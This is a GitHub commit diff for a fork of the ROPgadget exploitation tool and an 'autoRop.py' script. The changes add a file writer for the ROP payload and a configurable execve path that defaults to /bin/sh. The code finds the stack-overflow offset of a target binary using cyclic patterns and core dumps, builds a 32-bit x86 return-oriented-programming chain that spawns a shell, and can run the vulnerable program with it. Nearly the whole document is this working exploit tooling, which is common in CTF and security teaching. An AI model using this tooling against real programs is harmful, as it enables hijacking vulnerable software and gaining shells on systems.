Merge pull request #2 from jackbondpreston/jack
ROPgadget now writes to file itself, QOL changes in autoRop
This commit is contained in:
Chris Gora
GitHub
commit
45ab02464e
@ -85,6 +85,8 @@ architectures supported:
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parser.add_argument("--re", type=str, metavar="<re>", help="Regular expression")
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parser.add_argument("--offset", type=str, metavar="<hexaddr>", help="Specify an offset for gadget addresses")
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parser.add_argument("--paddingLen", type=int, metavar="<nbyte>", default=6, help="Specify the padding length for the ROP chain")
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parser.add_argument("--ropFile", type=str, metavar="<string>", default="rop.txt", help="The file to write the generated ROP bytes to")
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parser.add_argument("--execPath", type=str, metavar="<string>", default="/bin/sh", help="Path of the executable to make execve() run")
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parser.add_argument("--ropchain", action="store_true", help="Enable the ROP chain generation")
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parser.add_argument("--thumb" , action="store_true", help="Use the thumb mode for the search engine (ARM only)")
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parser.add_argument("--console", action="store_true", help="Use an interactive console for search engine")
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@ -215,7 +215,10 @@ class Core(cmd.Cmd):
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self.__getGadgets()
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self.__lookingForGadgets()
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if self.__options.ropchain:
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ROPMaker(self.__binary, self.__gadgets, self.__options.paddingLen, self.__offset)
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ROPMaker(
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self.__binary, self.__gadgets, self.__options.paddingLen,
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self.__options.ropFile, self.__options.execPath, self.__offset
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)
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return True
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@ -11,13 +11,16 @@ import re
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from capstone import *
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from textwrap import wrap
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import sys
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from struct import pack
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class ROPMakerX86(object):
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def __init__(self, binary, gadgets, paddingLen, liboffset=0x0):
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def __init__(self, binary, gadgets, paddingLen, outFile, execPath, liboffset=0x0):
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self.__binary = binary
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self.__gadgets = gadgets
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self.paddingLen = paddingLen
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self.outFile = outFile
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self.execPath = execPath
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# If it's a library, we have the option to add an offset to the addresses
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self.__liboffset = liboffset
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@ -67,14 +70,18 @@ class ROPMakerX86(object):
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return None
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def __padding(self, gadget, regAlreadSetted):
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p = b""
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lg = gadget["gadget"].split(" ; ")
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for g in lg[1:]:
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if g.split()[0] == "pop":
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reg = g.split()[1]
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try:
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print("p += pack('<I', 0x%08x) # padding without overwrite %s" %(regAlreadSetted[reg], reg))
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p = pack("<I", regAlreadSetted[reg])
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except KeyError:
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print("p += pack('<I', 0x41414141) # padding")
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p = pack("<I", 0x41414141)
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return p
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def __buildRopChain(self, write4where, popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall):
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@ -87,110 +94,103 @@ class ROPMakerX86(object):
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print("\n# [-] Error - Can't find a writable section")
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return
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print("#!/usr/bin/env python2")
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print("# execve generated by ROPgadget\n" )
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print("from struct import pack\n")
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print("import sys")
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# prepend padding
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p = bytes('A' * self.paddingLen, "ascii")
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print()
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print("out_file = sys.argv[1]")
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print()
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print("p = b'" + ('A' * self.paddingLen) + "'\n")
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command = "/bin/uname"
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command = self.execPath
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# split command into chunks of 4, prepend with /s as necessary
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if len(command) % 4 > 0:
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command = (4 - (len(command) % 4)) * "/" + command
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command_chunks = wrap(command, 4)
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# write the command
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address = 0
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offset = 0
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for i, chunk in enumerate(command_chunks):
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offset = (i * 4)
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address = dataAddr + offset
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print(f"p += pack('<I', 0x{popDst['vaddr']:08x}) # {popDst['gadget']}")
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print(f"p += pack('<I', 0x{address:08x}) # @ .data + {offset}")
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self.__padding(popDst, {})
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print(f"p += pack('<I', 0x{popSrc['vaddr']:08x}) # {popSrc['gadget']}")
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print(f"p += b'{ chunk }'")
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self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst
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p += pack("<I", popDst['vaddr'])
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print(f"p += pack('<I', 0x{write4where['vaddr']:08x}) # {write4where['gadget']}")
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self.__padding(write4where, {})
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print()
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p += pack("<I", address)
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p += self.__padding(popDst, {})
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p += pack("<I", popSrc['vaddr'])
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p += bytes(chunk, "ascii")
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p += self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst
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p += pack("<I", write4where['vaddr'])
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p += self.__padding(write4where, {})
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offset += 4
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address += 4
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print()
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print(f"p += pack('<I', 0x{popDst['vaddr']:08x}) # { popDst['gadget'] }")
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print(f"p += pack('<I', 0x{address:08x}) # @ .data + {offset}")
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self.__padding(popDst, {})
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# write null byte after command string
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p += pack("<I", popDst['vaddr'])
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p += pack("<I", address)
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p += self.__padding(popDst, {})
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print("p += pack('<I', 0x%08x) # %s" %(xorSrc["vaddr"], xorSrc["gadget"]))
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self.__padding(xorSrc, {})
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p += pack("<I", xorSrc["vaddr"])
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p += self.__padding(xorSrc, {})
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print("p += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
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self.__padding(write4where, {})
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p += pack("<I", write4where["vaddr"])
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p += self.__padding(write4where, {})
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print("p += pack('<I', 0x%08x) # %s" %(popEbx["vaddr"], popEbx["gadget"]))
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print(f"p += pack('<I', 0x{dataAddr:08x}) # @ .data")
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self.__padding(popEbx, {})
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p += pack("<I", popEbx["vaddr"])
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p += pack("<I", dataAddr) # @ .data
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p += self.__padding(popEbx, {})
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# write end + 4, after the null bytes
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print(f"p += pack('<I', 0x{popDst['vaddr']:08x}) # {popDst['gadget']}")
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print(f"p += pack('<I', 0x{(address + 4):08x}) # @ .data + {offset + 4}")
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self.__padding(popDst, {})
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p += pack('<I', popDst['vaddr'])
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p += pack('<I', address + 4) # @ .data + {offset + 4}
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p += self.__padding(popDst, {})
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# write the data base address, which is the start of argv
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print(f"p += pack('<I', 0x{popSrc['vaddr']:08x}) # {popSrc['gadget']}")
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print(f"p += pack('<I', 0x{dataAddr:08x}) # @ .data")
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self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst
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p += pack('<I', popSrc['vaddr'])
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p += pack('<I', dataAddr) # @ .data
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p += self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst
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# perform the write: eax -> [edx]
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print(f"p += pack('<I', 0x{write4where['vaddr']:08x}) # {write4where['gadget']}")
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self.__padding(write4where, {})
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p += pack('<I', write4where['vaddr']) # {write4where['gadget']}")
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p += self.__padding(write4where, {})
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# ARGV MUST BE FOLLOWED BY NULL POINTER
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print(f"p += pack('<I', 0x{popDst['vaddr']:08x}) # { popDst['gadget'] }")
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print(f"p += pack('<I', 0x{address + 8:08x}) # @ .data + {offset + 8}")
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self.__padding(popDst, {})
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p += pack('<I', popDst['vaddr']) # { popDst['gadget'] }
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p += pack('<I', address + 8) # @ .data + {offset + 8}
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p += self.__padding(popDst, {})
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print("p += pack('<I', 0x%08x) # %s" %(xorSrc["vaddr"], xorSrc["gadget"]))
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self.__padding(xorSrc, {})
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p += pack('<I', xorSrc["vaddr"])
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p += self.__padding(xorSrc, {})
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print("p += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
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self.__padding(write4where, {})
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p += pack('<I', write4where["vaddr"])
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p += self.__padding(write4where, {})
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## MEMORY LAYOUT: PROGRAM, NULL, POINTER TO ARGV WHICH FOR NOW IS BACK TO THE START, NULL
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print("p += pack('<I', 0x%08x) # %s" %(popEcx["vaddr"], popEcx["gadget"]))
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print(f"p += pack('<I', 0x{(address + 4):08x}) # @ .data + {offset + 4}")
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self.__padding(popEcx, {"ebx": dataAddr}) # Don't overwrite ebx
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p += pack('<I', popEcx["vaddr"])
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p += pack('<I', address + 4) # @ .data + {offset + 4}
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p += self.__padding(popEcx, {"ebx": dataAddr}) # Don't overwrite ebx
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print("p += pack('<I', 0x%08x) # %s" %(popEdx["vaddr"], popEdx["gadget"]))
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print(f"p += pack('<I', 0x{address:08x}) # @ .data + {offset}")
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self.__padding(popEdx, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
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p += pack('<I', popEdx["vaddr"])
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p += pack('<I', address) # @ .data + {offset}
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p += self.__padding(popEdx, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
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print("p += pack('<I', 0x%08x) # %s" %(xorEax["vaddr"], xorEax["gadget"]))
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self.__padding(xorEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
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p += pack('<I', xorEax["vaddr"])
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p += self.__padding(xorEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
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# 11 = execve
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for i in range(11):
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print("p += pack('<I', 0x%08x) # %s" %(incEax["vaddr"], incEax["gadget"]))
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self.__padding(incEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
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p += pack('<I', incEax["vaddr"])
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p += self.__padding(incEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
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print("p += pack('<I', 0x%08x) # %s" %(syscall["vaddr"], syscall["gadget"]))
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p += pack('<I', syscall["vaddr"])
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print("""
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with open(out_file, "wb") as f:
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with open(self.outFile, "wb") as f:
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f.write(p)
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""")
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def __generate(self):
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@ -11,10 +11,12 @@ from ropgadget.ropchain.arch.ropmakerx86 import *
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from ropgadget.ropchain.arch.ropmakerx64 import *
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class ROPMaker(object):
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def __init__(self, binary, gadgets, paddingLen, offset):
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def __init__(self, binary, gadgets, paddingLen, outFile, execPath, offset):
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self.__binary = binary
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self.__gadgets = gadgets
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self.paddingLen = paddingLen
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self.outFile = outFile
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self.execPath = execPath
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self.__offset = offset
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self.__handlerArch()
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@ -24,7 +26,7 @@ class ROPMaker(object):
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if self.__binary.getArch() == CS_ARCH_X86 \
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and self.__binary.getArchMode() == CS_MODE_32 \
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and self.__binary.getFormat() == "ELF":
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ROPMakerX86(self.__binary, self.__gadgets, self.paddingLen, self.__offset)
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ROPMakerX86(self.__binary, self.__gadgets, self.paddingLen, self.outFile, self.execPath, self.__offset)
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elif self.__binary.getArch() == CS_ARCH_X86 \
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and self.__binary.getArchMode() == CS_MODE_64 \
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35
autoRop.py
35
autoRop.py
@ -34,23 +34,29 @@ print(r'''
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arg_parser = argparse.ArgumentParser(description="Run an automated ROP on an executable")
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arg_parser.add_argument("exec_file", metavar="exec_file", type=str, help="The executable file to exploit")
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arg_parser.add_argument("rop_file", metavar="rop_file", type=str, help="The name of the generated ROP input file")
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arg_parser.add_argument("--rop_file", metavar="rop_file", default="rop.txt", type=str, help="The name of the generated ROP input file")
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arg_parser.add_argument("--rop_exec", metavar="rop_exec", default="/bin/sh", type=str, help="The path to the executable the ROP should run")
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arg_parser.add_argument("--min_payload", metavar="min", default=32, type=int, help="The minimum payload length to try")
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arg_parser.add_argument("--max_payload", metavar="max", default=16384, type=int, help="The maximum payload length to try")
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arg_parser.add_argument("--run", action="store_true", default=False, help="Automatically run the ROP on the executable")
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args = arg_parser.parse_args()
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exec_file = args.exec_file
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rop_file = args.rop_file
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rop_exec = args.rop_exec
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min_payload = args.min_payload
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max_payload = args.max_payload
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run = args.run
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def find_offset(exec_file: str, min_payload: int, max_payload: int):
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input_file = "input.txt"
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print("[ Find Offset Length ]")
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input_file = "/tmp/input.txt"
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payload_size = min_payload
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while payload_size <= max_payload:
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print(f"[🤔] Trying payload {payload_size}...")
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print(f" ├─[🤔] Trying payload {payload_size}...")
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with open(input_file, "wb") as f:
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payload = cyclic(payload_size)
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@ -66,7 +72,7 @@ def find_offset(exec_file: str, min_payload: int, max_payload: int):
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if core is not None and pack(core.eip) in payload:
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offset = cyclic_find(core.eip)
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print(f"[😳] Found offset at {offset}!\n")
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print(f" └─[😳] Found offset at {offset}!\n")
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return offset
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payload_size *= 2
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@ -76,25 +82,28 @@ def find_offset(exec_file: str, min_payload: int, max_payload: int):
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offset = find_offset(exec_file, min_payload, max_payload)
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if offset == -1:
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print(f"[😞] Failed to find offset. Try increasing the payload bounds and ensuring core dumps are enabled!")
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print(f" └─[😞] Failed to find offset. Try increasing the payload bounds and ensuring core dumps are enabled!")
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sys.exit(0)
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print(f"[🤔] Running ROPgadget with offset {offset}...")
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print("[ Generate ROP ]")
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print(f" ├─[🤔] Running ROPgadget with offset {offset}...")
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result = subprocess.run(
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[
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"ROPgadget",
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"--binary", exec_file,
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"--ropchain",
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"--silent",
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"--paddingLen", str(offset)
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"--paddingLen", str(offset),
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"--ropFile", rop_file,
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"--execPath", rop_exec
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],
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stdout = subprocess.PIPE
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)
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with open("script.py", "wb") as f:
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f.write(result.stdout)
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print(f" └─[🤩] All done! The ROP input is saved to {rop_file}!")
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print(f"[🤔] Running generated script to create ROP input file...")
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process(["python3", "script.py", rop_file]).wait()
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print(f"[🤩] All done! The ROP input is saved to {rop_file}!")
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if run:
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print()
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print(f"[ Run Program : ./{exec_file} {rop_file} ]")
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os.execv(exec_file, [exec_file, rop_file])
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Block a user